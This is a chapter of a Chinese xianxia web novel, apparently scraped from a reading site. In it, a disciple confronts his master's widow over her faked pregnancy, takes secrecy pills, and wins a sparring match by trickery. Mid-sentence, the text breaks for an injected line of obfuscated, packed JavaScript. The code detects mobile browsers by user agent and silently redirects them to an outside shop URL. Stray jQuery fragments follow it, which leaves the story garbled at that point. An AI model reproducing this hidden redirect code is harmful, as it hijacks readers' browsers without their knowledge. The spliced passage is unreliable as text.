16. 拿捏

作品:《师娘开门,我是师尊

    咔——


    玉流徽嗑瓜子的动作顿住。


    “你胡说什么?”


    “师娘别想骗我,”晏可洋低声道,“我都听到了!”


    玉流徽眸光微动,把那瓜子嗑完:“果然是你。”


    “好啊你,竟敢偷听我讲话,简直胆大包天!”他猛地一拍桌子,“你该当何罪?!”


    果盘里的瓜子散了一地,晏可洋吓了一跳。


    “我错了师娘!”他膝盖一软,不自觉就跪了下去,立刻抬起右手,“我发誓!我对师尊发誓!我只是……只是担心桑医仙对你不利,才……”


    玉流徽怒目而视:“你到他灵位前去说。”


    “是真的!”晏可洋生怕师尊的鬼魂来索命,慌忙缩起脖子,“我别无他意啊,师尊……师娘……”


    怕着怕着他忽然意识到不对。


    自己干嘛来的?


    不是自己来吓唬师娘的么?怎么反被师娘吓到了?


    “不对!”他盯着对方,“现在的问题是师娘你假装怀孕骗师祖!我竟被你绕进去了。你们编了这么大一个谎,你们才是胆大包天!”


    “哦,”玉流徽手一拢,散落在桌上的瓜子又飞回盘中,他捏起一颗,“那又怎样?”


    “又怎样?这件事牵连甚广!”晏可洋故作深沉,又目光下移,“师娘可知道,有多少人盯着你的肚子?”


    玉流徽微微挑眉:“所以?”


    “所以……”晏可洋深吸一口气,“所以我可以先站起来说话么?”


    玉流徽准了:“起来说话。”


    晏可洋赶紧起身,他拍了拍自己膝盖,整顿衣衫,恢复端庄的模样,酝酿出严肃的情绪,欲继续发难。


    但却瞧见他的师娘,这个欺师灭祖瞒天过海的人,竟在那里悠闲地嗑瓜子。


    咔嚓——


    咔嚓——


    咔嚓——


    清脆的声音落在耳边,打断了他的情绪。


    “师娘!”晏可洋感到匪夷所思,“你难道不害怕么?我知道了你的秘密啊!惊天大秘密!我要是去告诉师祖,你就完蛋了!”


    “你不是没说么?”玉流徽毫无惧色,“你如果想告诉他,我现在已经是个死人了。你特地等到天黑了才关起门来悄悄告诉我,我又有什么好怕的?”


    他那漂亮的眼眸瞥向门窗上那密密麻麻的隔音符:“好像是你比较害怕暴露我的秘密吧,我的好徒儿?”


    晏可洋有种被羞辱的感觉:“你怎么知道我不会说?我……我现在就去!”


    “去,”玉流徽纤纤玉指捏着一颗饱满的瓜子,喂给鹦鹉,“不去是小狗。”


    鹦鹉吃了瓜子,跟着重复:“小狗!小狗!”


    “我!我……”晏可洋怒不可遏,“别嗑你那瓜子了,师娘!”


    “太香了,”玉流徽道,“你来一颗?”


    晏可洋要气炸了:“师娘,你尊重一下我行不行?”


    玉流徽失笑:“我很尊重你啊。”


    晏可洋的自尊受到了极大的伤害!!


    “不该是这样的,”他喃喃道,“不该是这样……”


    “应该怎样?”玉流徽冷笑,“想看我吓得痛哭流涕,瑟瑟发抖?想看我抱着你的大腿苦苦求饶?”


    晏可洋想是这么想的,但却不敢点头,不敢承认。


    可是真的好气啊!


    怎么会这样?


    跟自己预先想的完全不一样!


    本想想拿捏师娘的,怎么反被对方吃得死死的?


    “师娘你……”他又一次看向对方平坦的肚子,“你当真没有怀?”


    玉流徽道:“怀了。两个月了。”


    晏可洋冷哼一声:“你就别骗我了。”


    玉流徽瞪了他一眼:“你既不信,又何必问我?”


    “我信,我信!到底是怎么回事?”晏可洋简直头昏脑涨,“为何师祖说你怀了魔胎?”


    “他太希望你师尊留个后呗,”玉流徽道,“我肚子里郁结了大量的魔气,整日吸食我的气血,可不就像个活生生的魔胎?”


    “竟是如此……”晏可洋细细思索一番,喃喃道,“我知道了……”


    而后他干咳一声,一本正经道:“只要师娘答应我一件事,我自然会替你死守秘密。”


    玉流徽:“说。”


    晏可洋张了张嘴,竟是有些紧张,他稍稍酝酿一下,而后鼓起勇气——


    “我要师娘跟我回云生结海楼。”


    *


    “哦?”玉流徽抬眼看向大徒弟,“你有这个本事带我走?”


    晏可洋昂首挺胸:“我知道你们都看不起我,觉得我弱。只要师娘答应,我自会竭尽全力带你走!”


    “行,”玉流徽轻飘飘地答应了,“我愿意。”


    晏可洋顿时心花怒放,简直不敢置信:“师娘你答应了?真的答应了?!”


    “嗯,”玉流徽带着淡淡笑意,“我也想去见识一下云生结海楼的风光。”


    “太好了!!”晏可洋顿时喜不自胜,忍不住在屋内蹦蹦跳跳。


    师娘答应我了!


    师娘答应我了!


    师娘要跟我回云生结海楼!


    然而没蹦跶几下,却听对方问:“你要如何帮我保守秘密?”


    晏可洋停下来,看向对方。


    “我自然信得过你,但此事非同小可,你师祖又神通广大……”玉流徽道,“你心中藏着事,若表现出丝毫异样,被你师祖摄魂夺魄读取了秘密怎么办?白天你师祖来看我,当时你就紧张兮兮的是不是?”


    “这……”晏可洋也凝重起来。


    的确有这种可能。


    不只师祖,还有小叔。


    他们是当世最强大的人之一,自然能有法子读取人的内心。


    “那怎么办?”他问。


    “你师尊的宝库里有一瓶缄口丹,专门用来保守秘密的,只要服下缄口丹,就算是大罗神仙也读不出你心中的秘密。”


    玉流徽从储物灵戒中取出一个小巧的青瓷瓶。


    倒出三颗药丸。


    一双漂亮的丹凤眼看着晏可洋:“好徒儿,吃下它,为我保守秘密。”


    “我……”晏可洋还想说点什么,但对方那一双含情眼深深地看着他,眼神殷切,似乎生死全交在了他手上。


    只是那样看着他,他就无法拒绝。


    “要吃三颗么?”他问。


    玉流徽解释道:“这药名为缄口丹,三缄其口,自然是要吃三颗的。”


    晏可洋呆呆地伸出手,接住那红色药丸,仰起头,直接吞了。


    药丸顺着喉咙滚下去,倒是有股热量,肚子也烧烧的。


    他怀疑自己一张嘴就能喷出火。


    好在师娘及时递给他一杯凉茶。


    晏可洋咕咚咕咚喝完,那炽热的感觉就消退了。


    他呼出一口气:“这丹药真的有效么?”


    玉流徽道:“你可以试试。”


    晏可洋抬头环顾四周,看到鹦鹉,于是走到它跟前,凑到它耳边,压低声音:“我告诉你一个秘密,师娘他……”


    一句话没说完,腹部忽然剧烈疼痛起来。


    晏可洋瞬间躬下身子,用力按着腹部:“啊,好痛!好痛!师娘……”


    “别想那个秘密,”玉流徽道,“赶紧想点别的。”


    晏可洋赶紧想“啊师娘真好看师娘真好看真好看啊师娘……”


    过了一会儿疼痛减轻。


    他皱着一张脸:“还真这么厉害啊?疼死我了……”


    玉流徽将药瓶收好:“你师尊用自己的血炼化而成,自然有用。”


    “师尊炼化这个做什么?”晏可洋揉揉肚子,“他有什么秘密?”


    玉流徽意味深长:“你师尊的秘密多着去了。”


    “我知道了……”晏可洋道,“如此就不必担心会无意间暴露了。这丹药还有多少?”


    玉流徽又拿出来确认了一下:“还有三颗。”


    晏可洋道:“还是都给我吃了吧?好叫师娘安心。免得你整日提心吊胆,惶惶不可终日。”


    玉流徽莫名有一丝感动:“倒也不必,吃多了会肠穿肚烂,你有这个心就行了。”


    晏可洋只得作罢:“好吧。”


    玉流徽轻轻“嗯”了一声,而后打了个哈欠:“好了,你回去吧。”


    “师娘这就开始赶人了?”晏可洋盯着对方,忍不住抱怨,“师娘,你变脸好快!哄着我吃了药就原形毕露了是吧?”


    玉流徽弯起嘴角:“哪有?我本来就是这个样子的啊。”


    晏可洋简直拿他毫无办法。


    念着师娘白日里受了惊,需要休息,他便不再逗留。


    “师娘早些休息。徒儿告退。”


    说着端起那药碗转身离开。


    “等等。”玉流徽却又叫住他。


    晏可洋回头。


    玉流徽淡淡道:“是药三分毒,我不想每日喝那安胎药,明天早上你能为我赢过你的两位师弟么?”


    晏可洋身姿挺直,拳头一攥:“我能!!”


    *


    次日一早,萧岩练完剑后端着熬好的安胎药去找师娘。


    还没上楼,却被大师兄叫住。


    “站住。”


    晏可洋盯着他:“回来。”


    萧岩一脸懵,端着药愣愣地走到他跟前:“大师兄有何吩咐?”


    晏可洋道:“谁允许你给师娘送药的?”


    萧岩愣住了,呆呆地


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13396174|141186||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    问:“大师兄何意?”


    “何意?”晏可洋道,“打架啊何意?师娘不是说了么,让我们打架,谁赢了喝谁的。”


    萧岩眉头一皱。


    “你什么表情?”晏可洋极为不悦,“真以为自己最强是吧?真以为我打不过你是吧?谁给你勇气默认自己能赢?来啊,比划比划。”


    萧岩将药碗放回石桌上,恭恭敬敬行礼:“大师兄请赐教。”


    晏可洋看也不看,直接抬手指向楼梯:“先把他拦下——”


    萧岩扭头一看,这才发现二师兄竟然趁着他俩争执之时偷偷端着药往上爬,都快上去了。


    “二师兄且慢!”他立刻拔剑冲过去。


    风衔青用折扇格开剑锋:“哎,别把药打翻了。”


    药罐子里还有许多,打翻了也没事。萧岩为阻止二师兄,无视他的警告,直接出手。


    风衔青只得扔了那碗药,认真对待。


    萧岩一边对付二师兄,还得提防大师兄,免得他偷偷溜上去。


    好在晏可洋没有偷奸耍滑,只是在一旁观战,嘴里还喊着:“揍他!揍他!”


    也不知道是对谁说的。


    片刻之后,风衔青败下阵来。


    他无奈地摇了摇头,而后对萧岩道:“快上去吧,别让师娘等太久。”


    “哎哎哎——”晏可洋叫道,“还有我呢!”


    风衔青也是眉头一皱,他嘴角抽抽:“你就别浪费时间了吧,大、师、兄?”


    “少瞧不起人了,”晏可洋望着萧岩,“来!”


    “那……得罪了。”萧岩握着剑,转头朝他出手。


    晏可洋拼尽全力招架。


    眼看着胜负将分。这时候他忽然看向远处,露出惊讶的表情:“师祖!”


    萧岩一惊,立刻回头。


    根本没人!


    晏可洋却已经趁机一剑将他的剑击落,而后横剑在他颈上。


    “我赢了!”


    萧岩十分愤怒:“你使诈!!”


    晏可洋得意洋洋:“师娘也没说不能使诈哦。”


    他收了剑,端起药碗:“好了,我去给师娘送药。二师弟你去帮师娘喂鸟,三师弟你去把厨房收拾下。”


    萧岩气得涨红了脸,冷哼一声:“我发誓,以后再也不会让你赢我!”


    “略略略。”晏可洋边上楼边对他做鬼脸。


    风衔青摇着扇子从萧岩身边路过:“有猪啊,有猪。”


    晏可洋急匆匆上楼,来到玉流徽屋外,敲门,得到允许后进入房中。“师娘早啊。”


    玉流徽有些讶异:“哟,你赢了?怎么赢的?”


    “我得师尊真传,直接将两位师弟败于剑下。”晏可洋径直走到窗边,打开窗户,把药泼到了屋后,又迅速把窗户关上。


    他回头看着对方:“我答应了师娘,自然不会让你吃苦。”


    玉流徽露出欣慰的表情:“小羊真厉害。”


    过不久风衔青和萧岩忙活完大师兄交代的任务,一同来给师娘请安。


    晏可洋站在一旁,面上波澜不惊,两人也没有察觉到什么。


    玉流徽打发他们去练剑。


    晏可洋最后一个离开,走之前与师娘对视一眼,仿佛彼此心照不宣。


    洗了碗,他也去练剑。


    看到他,萧岩仍是一脸不悦,明显还在生气。


    招式都凌厉了很多,既是在表达不满,也是在威慑他。


    晏可洋背过身去,开始练剑。


    他也有些发愁。


    今天使诈赢了小师弟一次,往后怎么办?往后的日子还长着呢,师娘少说也还要怀胎八个月吧。八个月,两百四十多天,喝这么多药,没病也会喝出病来。况且师娘本就体弱多病……


    早知道就好好练剑了。


    晏可洋平生第一次后悔先前没有好好练剑。


    他再一次想起了小叔那句话。


    简直振聋发聩。


    没想到自己的懒怠竟成了埋下的隐患。


    懊恼之际,他无意间抬头,看到了师娘。


    对方站在峰顶,正望向他们。


    正看着他。


    剑锋斩断朝阳。


    晏可洋眉目凛然。


    那就练!从现在开始认真练,往死里练!


    玉流徽在上面看了会儿。


    三个徒弟都很努力呢。


    不久之后,桑柏仁例行来问诊。


    他便转身将对方迎进屋内。


    桑柏仁放下药箱:“今天还好么?”


    “一切安好。”玉流徽关好门,转身看着他。


    “桑医仙,”他的面容很平静,“小羊发现了我假孕的事。”


    桑柏仁惊骇无比:“什么???!”